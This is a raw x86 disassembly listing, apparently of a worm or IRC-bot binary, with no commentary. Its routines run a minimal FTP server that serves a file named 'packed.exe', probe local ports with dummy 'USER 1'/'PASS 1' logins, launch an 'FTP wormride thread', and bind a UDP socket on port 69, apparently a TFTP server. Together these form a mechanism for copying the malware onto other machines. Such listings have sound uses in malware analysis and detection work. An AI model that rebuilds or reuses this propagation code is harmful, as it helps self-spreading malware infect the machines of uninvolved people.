var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset a220	; "220 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE30
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DE30


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset a331	; "331 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset a230	; "230 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset a215	; "215 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset a211	; "211 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset a257	; "257 \"/\" -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset a200	; "200 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset a425	; "425 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset aU_0	; "%u"
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset a200	; "200 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset a213U	; "213 %u\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset aPacked_exe ; "packed.exe"
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset a226	; "226 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset a226	; "226 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EB08
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset aLast	; "#last"
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a220_0	; "220"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset aUser1	; "USER	1\r\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a331_0	; "331"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset aPass1	; "PASS	1\r\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a230_0	; "230"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	ds:dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
